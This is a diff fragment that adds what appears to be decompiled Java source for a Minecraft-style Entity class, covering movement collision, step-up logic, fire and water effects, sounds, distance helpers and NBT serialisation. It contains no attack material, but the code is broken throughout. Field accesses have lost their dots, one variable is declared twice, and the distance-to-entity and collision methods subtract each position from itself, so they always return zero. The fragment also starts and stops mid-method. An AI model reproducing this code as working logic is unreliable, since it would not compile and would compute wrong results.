+
+
+
+
+
+        do
+        {
+          if ((z < var20) && (z >= -var20))
+          {
+            z = 0.0D;
+          }
+          else if (z > 0.0D)
+          {
+            z -= var20;
+          }
+          else
+          {
+            z += var20;
+          }
+          var17 = z; if (z == 0.0D) break; } while (worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox().offset(0.0D, -1.0D, z)).isEmpty());
+        for (; 
+            
+
+
+
+
+
+
+
+
+
+
+
+
+
+            (x != 0.0D) && (z != 0.0D) && (worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox().offset(x, -1.0D, z)).isEmpty()); var17 = z)
+        {
+          if ((x < var20) && (x >= -var20))
+          {
+            x = 0.0D;
+          }
+          else if (x > 0.0D)
+          {
+            x -= var20;
+          }
+          else
+          {
+            x += var20;
+          }
+          
+          var13 = x;
+          
+          if ((z < var20) && (z >= -var20))
+          {
+            z = 0.0D;
+          }
+          else if (z > 0.0D)
+          {
+            z -= var20;
+          }
+          else
+          {
+            z += var20;
+          }
+        }
+      }
+      
+      List var53 = worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox().addCoord(x, y, z));
+      AxisAlignedBB var21 = getEntityBoundingBox();
+      
+      AxisAlignedBB var23;
+      for (Iterator var22 = var53.iterator(); var22.hasNext(); y = var23.calculateYOffset(getEntityBoundingBox(), y))
+      {
+        var23 = (AxisAlignedBB)var22.next();
+      }
+      
+      func_174826_a(getEntityBoundingBox().offset(0.0D, y, 0.0D));
+      boolean var54 = (onGround) || ((var15 != y) && (var15 < 0.0D));
+      
+      AxisAlignedBB var24;
+      
+      for (Iterator var55 = var53.iterator(); var55.hasNext(); x = var24.calculateXOffset(getEntityBoundingBox(), x))
+      {
+        var24 = (AxisAlignedBB)var55.next();
+      }
+      
+      func_174826_a(getEntityBoundingBox().offset(x, 0.0D, 0.0D));
+      AxisAlignedBB var24;
+      for (var55 = var53.iterator(); var55.hasNext(); z = var24.calculateZOffset(getEntityBoundingBox(), z))
+      {
+        var24 = (AxisAlignedBB)var55.next();
+      }
+      
+      func_174826_a(getEntityBoundingBox().offset(0.0D, 0.0D, z));
+      
+      if ((stepHeight > 0.0F) && (var54) && ((var13 != x) || (var17 != z)))
+      {
+        double var56 = x;
+        double var25 = y;
+        double var27 = z;
+        AxisAlignedBB var29 = getEntityBoundingBox();
+        func_174826_a(var21);
+        y = stepHeight;
+        List var30 = worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox().addCoord(var13, y, var17));
+        AxisAlignedBB var31 = getEntityBoundingBox();
+        AxisAlignedBB var32 = var31.addCoord(var13, 0.0D, var17);
+        double var33 = y;
+        
+        AxisAlignedBB var36;
+        for (Iterator var35 = var30.iterator(); var35.hasNext(); var33 = var36.calculateYOffset(var32, var33))
+        {
+          var36 = (AxisAlignedBB)var35.next();
+        }
+        
+        var31 = var31.offset(0.0D, var33, 0.0D);
+        double var67 = var13;
+        
+        AxisAlignedBB var38;
+        for (Iterator var37 = var30.iterator(); var37.hasNext(); var67 = var38.calculateXOffset(var31, var67))
+        {
+          var38 = (AxisAlignedBB)var37.next();
+        }
+        
+        var31 = var31.offset(var67, 0.0D, 0.0D);
+        double var68 = var17;
+        
+        AxisAlignedBB var40;
+        for (Iterator var39 = var30.iterator(); var39.hasNext(); var68 = var40.calculateZOffset(var31, var68))
+        {
+          var40 = (AxisAlignedBB)var39.next();
+        }
+        
+        var31 = var31.offset(0.0D, 0.0D, var68);
+        AxisAlignedBB var69 = getEntityBoundingBox();
+        double var70 = y;
+        
+        AxisAlignedBB var43;
+        for (Iterator var42 = var30.iterator(); var42.hasNext(); var70 = var43.calculateYOffset(var69, var70))
+        {
+          var43 = (AxisAlignedBB)var42.next();
+        }
+        
+        var69 = var69.offset(0.0D, var70, 0.0D);
+        double var71 = var13;
+        
+        AxisAlignedBB var45;
+        for (Iterator var44 = var30.iterator(); var44.hasNext(); var71 = var45.calculateXOffset(var69, var71))
+        {
+          var45 = (AxisAlignedBB)var44.next();
+        }
+        
+        var69 = var69.offset(var71, 0.0D, 0.0D);
+        double var72 = var17;
+        
+        AxisAlignedBB var47;
+        for (Iterator var46 = var30.iterator(); var46.hasNext(); var72 = var47.calculateZOffset(var69, var72))
+        {
+          var47 = (AxisAlignedBB)var46.next();
+        }
+        
+        var69 = var69.offset(0.0D, 0.0D, var72);
+        double var73 = var67 * var67 + var68 * var68;
+        double var48 = var71 * var71 + var72 * var72;
+        
+        if (var73 > var48)
+        {
+          x = var67;
+          z = var68;
+          func_174826_a(var31);
+        }
+        else
+        {
+          x = var71;
+          z = var72;
+          func_174826_a(var69);
+        }
+        
+        y = -stepHeight;
+        
+        AxisAlignedBB var51;
+        for (Iterator var50 = var30.iterator(); var50.hasNext(); y = var51.calculateYOffset(getEntityBoundingBox(), y))
+        {
+          var51 = (AxisAlignedBB)var50.next();
+        }
+        
+        func_174826_a(getEntityBoundingBox().offset(0.0D, y, 0.0D));
+        
+        if (var56 * var56 + var27 * var27 >= x * x + z * z)
+        {
+          x = var56;
+          y = var25;
+          z = var27;
+          func_174826_a(var29);
+        }
+      }
+      
+      worldObj.theProfiler.endSection();
+      worldObj.theProfiler.startSection("rest");
+      func_174829_m();
+      isCollidedHorizontally = ((var13 != x) || (var17 != z));
+      isCollidedVertically = (var15 != y);
+      onGround = ((isCollidedVertically) && (var15 < 0.0D));
+      isCollided = ((isCollidedHorizontally) || (isCollidedVertically));
+      int var57 = MathHelper.floor_double(posX);
+      int var58 = MathHelper.floor_double(posY - 0.20000000298023224D);
+      int var59 = MathHelper.floor_double(posZ);
+      BlockPos var26 = new BlockPos(var57, var58, var59);
+      Block var60 = worldObj.getBlockState(var26).getBlock();
+      
+      if (var60.getMaterial() == Material.air)
+      {
+        Block var28 = worldObj.getBlockState(var26.offsetDown()).getBlock();
+        
+        if (((var28 instanceof BlockFence)) || ((var28 instanceof net.minecraft.block.BlockWall)) || ((var28 instanceof BlockFenceGate)))
+        {
+          var60 = var28;
+          var26 = var26.offsetDown();
+        }
+      }
+      
+      func_180433_a(y, onGround, var60, var26);
+      
+      if (var13 != x)
+      {
+        motionX = 0.0D;
+      }
+      
+      if (var17 != z)
+      {
+        motionZ = 0.0D;
+      }
+      
+      if (var15 != y)
+      {
+        var60.onLanded(worldObj, this);
+      }
+      
+      if ((canTriggerWalking()) && (!var19) && (ridingEntity == null))
+      {
+        double var61 = posX - var7;
+        double var64 = posY - var9;
+        double var66 = posZ - var11;
+        
+        if (var60 != Blocks.ladder)
+        {
+          var64 = 0.0D;
+        }
+        
+        if ((var60 != null) && (onGround))
+        {
+          var60.onEntityCollidedWithBlock(worldObj, var26, this);
+        }
+        
+        distanceWalkedModified = ((float)(distanceWalkedModified + MathHelper.sqrt_double(var61 * var61 + var66 * var66) * 0.6D));
+        distanceWalkedOnStepModified = ((float)(distanceWalkedOnStepModified + MathHelper.sqrt_double(var61 * var61 + var64 * var64 + var66 * var66) * 0.6D));
+        
+        if ((distanceWalkedOnStepModified > nextStepDistance) && (var60.getMaterial() != Material.air))
+        {
+          nextStepDistance = ((int)distanceWalkedOnStepModified + 1);
+          
+          if (isInWater())
+          {
+            float var34 = MathHelper.sqrt_double(motionX * motionX * 0.20000000298023224D + motionY * motionY + motionZ * motionZ * 0.20000000298023224D) * 0.35F;
+            
+            if (var34 > 1.0F)
+            {
+              var34 = 1.0F;
+            }
+            
+            playSound(getSwimSound(), var34, 1.0F + (rand.nextFloat() - rand.nextFloat()) * 0.4F);
+          }
+          
+          func_180429_a(var26, var60);
+        }
+      }
+      
+      try
+      {
+        doBlockCollisions();
+      }
+      catch (Throwable var52)
+      {
+        CrashReport var63 = CrashReport.makeCrashReport(var52, "Checking entity block collision");
+        CrashReportCategory var65 = var63.makeCategory("Entity being checked for collision");
+        addEntityCrashInfo(var65);
+        throw new ReportedException(var63);
+      }
+      
+      boolean var62 = isWet();
+      
+      if (worldObj.func_147470_e(getEntityBoundingBox().contract(0.001D, 0.001D, 0.001D)))
+      {
+        dealFireDamage(1);
+        
+        if (!var62)
+        {
+          fire += 1;
+          
+          if (fire == 0)
+          {
+            setFire(8);
+          }
+        }
+      }
+      else if (fire <= 0)
+      {
+        fire = (-fireResistance);
+      }
+      
+      if ((var62) && (fire > 0))
+      {
+        playSound("random.fizz", 0.7F, 1.6F + (rand.nextFloat() - rand.nextFloat()) * 0.4F);
+        fire = (-fireResistance);
+      }
+      
+      worldObj.theProfiler.endSection();
+    }
+  }
+  
+  private void func_174829_m()
+  {
+    posX = ((getEntityBoundingBoxminX + getEntityBoundingBoxmaxX) / 2.0D);
+    posY = getEntityBoundingBoxminY;
+    posZ = ((getEntityBoundingBoxminZ + getEntityBoundingBoxmaxZ) / 2.0D);
+  }
+  
+  protected String getSwimSound()
+  {
+    return "game.neutral.swim";
+  }
+  
+  protected void doBlockCollisions()
+  {
+    BlockPos var1 = new BlockPos(getEntityBoundingBoxminX + 0.001D, getEntityBoundingBoxminY + 0.001D, getEntityBoundingBoxminZ + 0.001D);
+    BlockPos var2 = new BlockPos(getEntityBoundingBoxmaxX - 0.001D, getEntityBoundingBoxmaxY - 0.001D, getEntityBoundingBoxmaxZ - 0.001D);
+    
+    if (worldObj.isAreaLoaded(var1, var2))
+    {
+      for (int var3 = var1.getX(); var3 <= var2.getX(); var3++)
+      {
+        for (int var4 = var1.getY(); var4 <= var2.getY(); var4++)
+        {
+          for (int var5 = var1.getZ(); var5 <= var2.getZ(); var5++)
+          {
+            BlockPos var6 = new BlockPos(var3, var4, var5);
+            IBlockState var7 = worldObj.getBlockState(var6);
+            
+            try
+            {
+              var7.getBlock().onEntityCollidedWithBlock(worldObj, var6, var7, this);
+            }
+            catch (Throwable var11)
+            {
+              CrashReport var9 = CrashReport.makeCrashReport(var11, "Colliding entity with block");
+              CrashReportCategory var10 = var9.makeCategory("Block being collided with");
+              CrashReportCategory.addBlockInfo(var10, var6, var7);
+              throw new ReportedException(var9);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    Block.SoundType var3 = stepSound;
+    
+    if (worldObj.getBlockState(p_180429_1_.offsetUp()).getBlock() == Blocks.snow_layer)
+    {
+      var3 = snow_layerstepSound;
+      playSound(var3.getStepSound(), var3.getVolume() * 0.15F, var3.getFrequency());
+    }
+    else if (!p_180429_2_.getMaterial().isLiquid())
+    {
+      playSound(var3.getStepSound(), var3.getVolume() * 0.15F, var3.getFrequency());
+    }
+  }
+  
+  public void playSound(String name, float volume, float pitch)
+  {
+    if (!isSlient())
+    {
+      worldObj.playSoundAtEntity(this, name, volume, pitch);
+    }
+  }
+  
+
+
+
+  public boolean isSlient()
+  {
+    return dataWatcher.getWatchableObjectByte(4) == 1;
+  }
+  
+  public void func_174810_b(boolean p_174810_1_)
+  {
+    dataWatcher.updateObject(4, Byte.valueOf((byte)(p_174810_1_ ? 1 : 0)));
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return true;
+  }
+  
+  protected void func_180433_a(double p_180433_1_, boolean p_180433_3_, Block p_180433_4_, BlockPos p_180433_5_)
+  {
+    if (p_180433_3_)
+    {
+      if (fallDistance > 0.0F)
+      {
+        if (p_180433_4_ != null)
+        {
+          p_180433_4_.onFallenUpon(worldObj, p_180433_5_, this, fallDistance);
+        }
+        else
+        {
+          fall(fallDistance, 1.0F);
+        }
+        
+        fallDistance = 0.0F;
+      }
+    }
+    else if (p_180433_1_ < 0.0D)
+    {
+      fallDistance = ((float)(fallDistance - p_180433_1_));
+    }
+  }
+  
+
+
+
+  public AxisAlignedBB getBoundingBox()
+  {
+    return null;
+  }
+  
+
+
+
+
+  protected void dealFireDamage(int amount)
+  {
+    if (!isImmuneToFire)
+    {
+      attackEntityFrom(DamageSource.inFire, amount);
+    }
+  }
+  
+  public final boolean isImmuneToFire()
+  {
+    return isImmuneToFire;
+  }
+  
+  public void fall(float distance, float damageMultiplier)
+  {
+    if (riddenByEntity != null)
+    {
+      riddenByEntity.fall(distance, damageMultiplier);
+    }
+  }
+  
+
+
+
+  public boolean isWet()
+  {
+    return (inWater) || (worldObj.func_175727_C(new BlockPos(posX, posY, posZ))) || (worldObj.func_175727_C(new BlockPos(posX, posY + height, posZ)));
+  }
+  
+
+
+
+
+  public boolean isInWater()
+  {
+    return inWater;
+  }
+  
+
+
+
+  public boolean handleWaterMovement()
+  {
+    if (worldObj.handleMaterialAcceleration(getEntityBoundingBox().expand(0.0D, -0.4000000059604645D, 0.0D).contract(0.001D, 0.001D, 0.001D), Material.water, this))
+    {
+      if ((!inWater) && (!firstUpdate))
+      {
+        resetHeight();
+      }
+      
+      fallDistance = 0.0F;
+      inWater = true;
+      fire = 0;
+    }
+    else
+    {
+      inWater = false;
+    }
+    
+    return inWater;
+  }
+  
+
+
+
+  protected void resetHeight()
+  {
+    float var1 = MathHelper.sqrt_double(motionX * motionX * 0.20000000298023224D + motionY * motionY + motionZ * motionZ * 0.20000000298023224D) * 0.2F;
+    
+    if (var1 > 1.0F)
+    {
+      var1 = 1.0F;
+    }
+    
+    playSound(getSplashSound(), var1, 1.0F + (rand.nextFloat() - rand.nextFloat()) * 0.4F);
+    float var2 = MathHelper.floor_double(getEntityBoundingBoxminY);
+    
+
+
+
+    for (int var3 = 0; var3 < 1.0F + width * 20.0F; var3++)
+    {
+      float var4 = (rand.nextFloat() * 2.0F - 1.0F) * width;
+      float var5 = (rand.nextFloat() * 2.0F - 1.0F) * width;
+      worldObj.spawnParticle(EnumParticleTypes.WATER_BUBBLE, posX + var4, var2 + 1.0F, posZ + var5, motionX, motionY - rand.nextFloat() * 0.2F, motionZ, new int[0]);
+    }
+    
+    for (var3 = 0; var3 < 1.0F + width * 20.0F; var3++)
+    {
+      float var4 = (rand.nextFloat() * 2.0F - 1.0F) * width;
+      float var5 = (rand.nextFloat() * 2.0F - 1.0F) * width;
+      worldObj.spawnParticle(EnumParticleTypes.WATER_SPLASH, posX + var4, var2 + 1.0F, posZ + var5, motionX, motionY, motionZ, new int[0]);
+    }
+  }
+  
+  public void func_174830_Y()
+  {
+    if ((isSprinting()) && (!isInWater()))
+    {
+      func_174808_Z();
+    }
+  }
+  
+  protected void func_174808_Z()
+  {
+    int var1 = MathHelper.floor_double(posX);
+    int var2 = MathHelper.floor_double(posY - 0.20000000298023224D);
+    int var3 = MathHelper.floor_double(posZ);
+    BlockPos var4 = new BlockPos(var1, var2, var3);
+    IBlockState var5 = worldObj.getBlockState(var4);
+    Block var6 = var5.getBlock();
+    
+    if (var6.getRenderType() != -1)
+    {
+      worldObj.spawnParticle(EnumParticleTypes.BLOCK_CRACK, posX + (rand.nextFloat() - 0.5D) * width, getEntityBoundingBoxminY + 0.1D, posZ + (rand.nextFloat() - 0.5D) * width, -motionX * 4.0D, 1.5D, -motionZ * 4.0D, new int[] { Block.getStateId(var5) });
+    }
+  }
+  
+  protected String getSplashSound()
+  {
+    return "game.neutral.swim.splash";
+  }
+  
+
+
+
+  public boolean isInsideOfMaterial(Material materialIn)
+  {
+    double var2 = posY + getEyeHeight();
+    BlockPos var4 = new BlockPos(posX, var2, posZ);
+    IBlockState var5 = worldObj.getBlockState(var4);
+    Block var6 = var5.getBlock();
+    
+    if (var6.getMaterial() == materialIn)
+    {
+      float var7 = net.minecraft.block.BlockLiquid.getLiquidHeightPercent(var5.getBlock().getMetaFromState(var5)) - 0.11111111F;
+      float var8 = var4.getY() + 1 - var7;
+      boolean var9 = var2 < var8;
+      return (!var9) && ((this instanceof EntityPlayer)) ? false : var9;
+    }
+    
+
+    return false;
+  }
+  
+
+  public boolean func_180799_ab()
+  {
+    return worldObj.isMaterialInBB(getEntityBoundingBox().expand(-0.10000000149011612D, -0.4000000059604645D, -0.10000000149011612D), Material.lava);
+  }
+  
+
+
+
+  public void moveFlying(float strafe, float forward, float friction)
+  {
+    float var4 = strafe * strafe + forward * forward;
+    
+    if (var4 >= 1.0E-4F)
+    {
+      var4 = MathHelper.sqrt_float(var4);
+      
+      if (var4 < 1.0F)
+      {
+        var4 = 1.0F;
+      }
+      
+      var4 = friction / var4;
+      strafe *= var4;
+      forward *= var4;
+      float var5 = MathHelper.sin(rotationYaw * 3.1415927F / 180.0F);
+      float var6 = MathHelper.cos(rotationYaw * 3.1415927F / 180.0F);
+      motionX += strafe * var6 - forward * var5;
+      motionZ += forward * var6 + strafe * var5;
+    }
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    BlockPos var2 = new BlockPos(posX, 0.0D, posZ);
+    
+    if (worldObj.isBlockLoaded(var2))
+    {
+      double var3 = (getEntityBoundingBoxmaxY - getEntityBoundingBoxminY) * 0.66D;
+      int var5 = MathHelper.floor_double(posY + var3);
+      return worldObj.getCombinedLight(var2.offsetUp(var5), 0);
+    }
+    
+
+    return 0;
+  }
+  
+
+
+
+
+  public float getBrightness(float p_70013_1_)
+  {
+    BlockPos var2 = new BlockPos(posX, 0.0D, posZ);
+    
+    if (worldObj.isBlockLoaded(var2))
+    {
+      double var3 = (getEntityBoundingBoxmaxY - getEntityBoundingBoxminY) * 0.66D;
+      int var5 = MathHelper.floor_double(posY + var3);
+      return worldObj.getLightBrightness(var2.offsetUp(var5));
+    }
+    
+
+    return 0.0F;
+  }
+  
+
+
+
+
+  public void setWorld(World worldIn)
+  {
+    worldObj = worldIn;
+  }
+  
+
+
+
+  public void setPositionAndRotation(double x, double y, double z, float yaw, float pitch)
+  {
+    prevPosX = (this.posX = x);
+    prevPosY = (this.posY = y);
+    prevPosZ = (this.posZ = z);
+    prevRotationYaw = (this.rotationYaw = yaw);
+    prevRotationPitch = (this.rotationPitch = pitch);
+    double var9 = prevRotationYaw - yaw;
+    
+    if (var9 < -180.0D)
+    {
+      prevRotationYaw += 360.0F;
+    }
+    
+    if (var9 >= 180.0D)
+    {
+      prevRotationYaw -= 360.0F;
+    }
+    
+    setPosition(posX, posY, posZ);
+    setRotation(yaw, pitch);
+  }
+  
+  public void func_174828_a(BlockPos p_174828_1_, float p_174828_2_, float p_174828_3_)
+  {
+    setLocationAndAngles(p_174828_1_.getX() + 0.5D, p_174828_1_.getY(), p_174828_1_.getZ() + 0.5D, p_174828_2_, p_174828_3_);
+  }
+  
+
+
+
+  public void setLocationAndAngles(double x, double y, double z, float yaw, float pitch)
+  {
+    lastTickPosX = (this.prevPosX = this.posX = x);
+    lastTickPosY = (this.prevPosY = this.posY = y);
+    lastTickPosZ = (this.prevPosZ = this.posZ = z);
+    rotationYaw = yaw;
+    rotationPitch = pitch;
+    setPosition(posX, posY, posZ);
+  }
+  
+
+
+
+  public float getDistanceToEntity(Entity entityIn)
+  {
+    float var2 = (float)(posX - posX);
+    float var3 = (float)(posY - posY);
+    float var4 = (float)(posZ - posZ);
+    return MathHelper.sqrt_float(var2 * var2 + var3 * var3 + var4 * var4);
+  }
+  
+
+
+
+  public double getDistanceSq(double x, double y, double z)
+  {
+    double var7 = posX - x;
+    double var9 = posY - y;
+    double var11 = posZ - z;
+    return var7 * var7 + var9 * var9 + var11 * var11;
+  }
+  
+  public double getDistanceSq(BlockPos p_174818_1_)
+  {
+    return p_174818_1_.distanceSq(posX, posY, posZ);
+  }
+  
+  public double func_174831_c(BlockPos p_174831_1_)
+  {
+    return p_174831_1_.distanceSqToCenter(posX, posY, posZ);
+  }
+  
+
+
+
+  public double getDistance(double x, double y, double z)
+  {
+    double var7 = posX - x;
+    double var9 = posY - y;
+    double var11 = posZ - z;
+    return MathHelper.sqrt_double(var7 * var7 + var9 * var9 + var11 * var11);
+  }
+  
+
+
+
+  public double getDistanceSqToEntity(Entity entityIn)
+  {
+    double var2 = posX - posX;
+    double var4 = posY - posY;
+    double var6 = posZ - posZ;
+    return var2 * var2 + var4 * var4 + var6 * var6;
+  }
+  
+
+
+
+  public void onCollideWithPlayer(EntityPlayer entityIn) {}
+  
+
+
+
+  public void applyEntityCollision(Entity entityIn)
+  {
+    if ((riddenByEntity != this) && (ridingEntity != this))
+    {
+      if ((!noClip) && (!noClip))
+      {
+        double var2 = posX - posX;
+        double var4 = posZ - posZ;
+        double var6 = MathHelper.abs_max(var2, var4);
+        
+        if (var6 >= 0.009999999776482582D)
+        {
+          var6 = MathHelper.sqrt_double(var6);
+          var2 /= var6;
+          var4 /= var6;
+          double var8 = 1.0D / var6;
+          
+          if (var8 > 1.0D)
+          {
+            var8 = 1.0D;
+          }
+          
+          var2 *= var8;
+          var4 *= var8;
+          var2 *= 0.05000000074505806D;
+          var4 *= 0.05000000074505806D;
+          var2 *= (1.0F - entityCollisionReduction);
+          var4 *= (1.0F - entityCollisionReduction);
+          
+          if (riddenByEntity == null)
+          {
+            addVelocity(-var2, 0.0D, -var4);
+          }
+          
+          if (riddenByEntity == null)
+          {
+            entityIn.addVelocity(var2, 0.0D, var4);
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void addVelocity(double x, double y, double z)
+  {
+    motionX += x;
+    motionY += y;
+    motionZ += z;
+    isAirBorne = true;
+  }
+  
+
+
+
+  protected void setBeenAttacked()
+  {
+    velocityChanged = true;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    setBeenAttacked();
+    return false;
+  }
+  
+
+
+
+
+  public Vec3 getLook(float p_70676_1_)
+  {
+    if (p_70676_1_ == 1.0F)
+    {
+      return func_174806_f(rotationPitch, rotationYaw);
+    }
+    
+
+    float var2 = prevRotationPitch + (rotationPitch - prevRotationPitch) * p_70676_1_;
+    float var3 = prevRotationYaw + (rotationYaw - prevRotationYaw) * p_70676_1_;
+    return func_174806_f(var2, var3);
+  }
+  
+
+  protected final Vec3 func_174806_f(float p_174806_1_, float p_174806_2_)
+  {
+    float var3 = MathHelper.cos(-p_174806_2_ * 0.017453292F - 3.1415927F);
+    float var4 = MathHelper.sin(-p_174806_2_ * 0.017453292F - 3.1415927F);
+    float var5 = -MathHelper.cos(-p_174806_1_ * 0.017453292F);
+    float var6 = MathHelper.sin(-p_174806_1_ * 0.017453292F);
+    return new Vec3(var4 * var5, var6, var3 * var5);
+  }
+  
+  public Vec3 func_174824_e(float p_174824_1_)
+  {
+    if (p_174824_1_ == 1.0F)
+    {
+      return new Vec3(posX, posY + getEyeHeight(), posZ);
+    }
+    
+
+    double var2 = prevPosX + (posX - prevPosX) * p_174824_1_;
+    double var4 = prevPosY + (posY - prevPosY) * p_174824_1_ + getEyeHeight();
+    double var6 = prevPosZ + (posZ - prevPosZ) * p_174824_1_;
+    return new Vec3(var2, var4, var6);
+  }
+  
+
+  public MovingObjectPosition func_174822_a(double p_174822_1_, float p_174822_3_)
+  {
+    Vec3 var4 = func_174824_e(p_174822_3_);
+    Vec3 var5 = getLook(p_174822_3_);
+    Vec3 var6 = var4.addVector(xCoord * p_174822_1_, yCoord * p_174822_1_, zCoord * p_174822_1_);
+    return worldObj.rayTraceBlocks(var4, var6, false, false, true);
+  }
+  
+
+
+
+  public boolean canBeCollidedWith()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canBePushed()
+  {
+    return false;
+  }
+  
+
+
+  public void addToPlayerScore(Entity entityIn, int amount) {}
+  
+
+
+  public boolean isInRangeToRender3d(double x, double y, double z)
+  {
+    double var7 = posX - x;
+    double var9 = posY - y;
+    double var11 = posZ - z;
+    double var13 = var7 * var7 + var9 * var9 + var11 * var11;
+    return isInRangeToRenderDist(var13);
+  }
+  
+
+
+
+
+  public boolean isInRangeToRenderDist(double distance)
+  {
+    double var3 = getEntityBoundingBox().getAverageEdgeLength();
+    var3 *= 64.0D * renderDistanceWeight;
+    return distance < var3 * var3;
+  }
+  
+
+
+
+
+  public boolean writeMountToNBT(NBTTagCompound tagCompund)
+  {
+    String var2 = getEntityString();
+    
+    if ((!isDead) && (var2 != null))
+    {
+      tagCompund.setString("id", var2);
+      writeToNBT(tagCompund);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+
+  public boolean writeToNBTOptional(NBTTagCompound tagCompund)
+  {
+    String var2 = getEntityString();
+    
+    if ((!isDead) && (var2 != null) && (riddenByEntity == null))
+    {
+      tagCompund.setString("id", var2);
+      writeToNBT(tagCompund);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public void writeToNBT(NBTTagCompound tagCompund)
+  {
+    try
+    {
+      tagCompund.setTag("Pos", newDoubleNBTList(new double[] { posX, posY, posZ }));
+      tagCompund.setTag("Motion", newDoubleNBTList(new double[] { motionX, motionY, motionZ }));
+      tagCompund.setTag("Rotation", newFloatNBTList(new float[] { rotationYaw, rotationPitch }));
+      tagCompund.setFloat("FallDistance", fallDistance);
+      tagCompund.setShort("Fire", (short)fire);
+      tagCompund.setShort("Air", (short)getAir());
+      tagCompund.setBoolean("OnGround", onGround);
+      tagCompund.setInteger("Dimension", dimension);
+      tagCompund.setBoolean("Invulnerable", invulnerable);
+      tagCompund.setInteger("PortalCooldown", timeUntilPortal);
+      tagCompund.setLong("UUIDMost", getUniqueID().getMostSignificantBits());
+      tagCompund.setLong("UUIDLeast", getUniqueID().getLeastSignificantBits());
+      
+      if ((getCustomNameTag() != null) && (getCustomNameTag().length() > 0))
+      {
+        tagCompund.setString("CustomName", getCustomNameTag());
+        tagCompund.setBoolean("CustomNameVisible", getAlwaysRenderNameTag());
+      }
+      
+      field_174837_as.func_179670_b(tagCompund);
+      
+      if (isSlient())
+      {
+        tagCompund.setBoolean("Silent", isSlient());
+      }
+      
+      writeEntityToNBT(tagCompund);
+      
+      if (ridingEntity != null)
+      {
+        NBTTagCompound var2 = new NBTTagCompound();
+        
+        if (ridingEntity.writeMountToNBT(var2))
+        {
+          tagCompund.setTag("Riding", var2);
+        }
+      }
+    }
+    catch (Throwable var5)
+    {
+      CrashReport var3 = CrashReport.makeCrashReport(var5, "Saving entity NBT");
+      CrashReportCategory var4 = var3.makeCategory("Entity being saved");
+      addEntityCrashInfo(var4);
+      throw new ReportedException(var3);
+    }
+  }
+  
+
+
+
+  public void readFromNBT(NBTTagCompound tagCompund)
+  {
+    try
+    {
+      NBTTagList var2 = tagCompund.getTagList("Pos", 6);
+      NBTTagList var6 = tagCompund.getTagList("Motion", 6);
+      NBTTagList var7 = tagCompund.getTagList("Rotation", 5);
+      motionX = var6.getDouble(0);
+      motionY = var6.getDouble(1);
+      motionZ = var6.getDouble(2);
+      
+      if (Math.abs(motionX) > 10.0D)
+      {
+        motionX = 0.0D;
+      }
+      
+      if (Math.abs(motionY) > 10.0D)
+      {
+        motionY = 0.0D;
+      }
+      
+      if (Math.abs(motionZ) > 10.0D)
+      {
+        motionZ = 0.0D;
+      }
+      
+      prevPosX = (this.lastTickPosX = this.posX = var2.getDouble(0));
+      prevPosY = (this.lastTickPosY = this.posY = var2.getDouble(1));
+      prevPosZ = (this.lastTickPosZ = this.posZ = var2.getDouble(2));
+      prevRotationYaw = (this.rotationYaw = var7.getFloat(0));
+      prevRotationPitch = (this.rotationPitch = var7.getFloat(1));
+      fallDistance = tagCompund.getFloat("FallDistance");
+      fire = tagCompund.getShort("Fire");
+      setAir(tagCompund.getShort("Air"));
+      onGround = tagCompund.getBoolean("OnGround");
+      dimension = tagCompund.getInteger("Dimension");
+      invulnerable = tagCompund.getBoolean("Invulnerable");
+      timeUntilPortal = tagCompund.getInteger("PortalCooldown");
+      
+      if ((tagCompund.hasKey("UUIDMost", 4)) && (tagCompund.hasKey("UUIDLeast", 4)))
+      {
+        entityUniqueID = new UUID(tagCompund.getLong("UUIDMost"), tagCompund.getLong("UUIDLeast"));
+      }
+      else if (tagCompund.hasKey("UUID", 8))
+      {
+        entityUniqueID = UUID.fromString(tagCompund.getString("UUID"));
+      }
+      
+      setPosition(posX, posY, posZ);
+      setRotation(rotationYaw, rotationPitch);
+      
+      if ((tagCompund.hasKey("CustomName", 8)) && (tagCompund.getString("CustomName").length() > 0))
+      {
+        setCustomNameTag(tagCompund.getString("CustomName"));
+      }
+      
+      setAlwaysRenderNameTag(tagCompund.getBoolean("CustomNameVisible"));
+      field_174837_as.func_179668_a(tagCompund);
+      func_174810_b(tagCompund.getBoolean("Silent"));
+      readEntityFromNBT(tagCompund);
+      
+      if (shouldSetPosAfterLoading())
+      {
+        setPosition(posX, posY, posZ);
+      }
+    }
+    catch (Throwable var5)
+    {
+      CrashReport var3 = CrashReport.makeCrashReport(var5, "Loading entity NBT");
+      CrashReportCategory var4 = var3.makeCategory("Entity being loaded");
+      addEntityCrashInfo(var4);
+      throw new ReportedException(var3);
+    }
+  }
+  
+  protected boolean shouldSetPosAfterLoading()
+  {
+    return true;
+  }
+  
+
+
+
+  protected final String getEntityString()
+  {
+    return EntityList.getEntityString(this);
+  }
+  
+
+
+
+  protected abstract void readEntityFromNBT(NBTTagCompound paramNBTTagCompound);
+  
+
+
+  protected abstract void writeEntityToNBT(NBTTagCompound paramNBTTagCompound);
+  
+
+
+  public void onChunkLoad() {}
+  
+
+
+  protected NBTTagList newDoubleNBTList(double... numbers)
+  {
+    NBTTagList var2 = new NBTTagList();
+    double[] var3 = numbers;
+    int var4 = numbers.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      double var6 = var3[var5];
+      var2.appendTag(new net.minecraft.nbt.NBTTagDouble(var6));
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  protected NBTTagList newFloatNBTList(float... numbers)
+  {
+    NBTTagList var2 = new NBTTagList();
+    float[] var3 = numbers;
+    int var4 = numbers.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      float var6 = var3[var5];
+      var2.appendTag(new net.minecraft.nbt.NBTTagFloat(var6));
+    }
+    
+    return var2;
+  }
+  
+  public EntityItem dropItem(Item itemIn, int size)
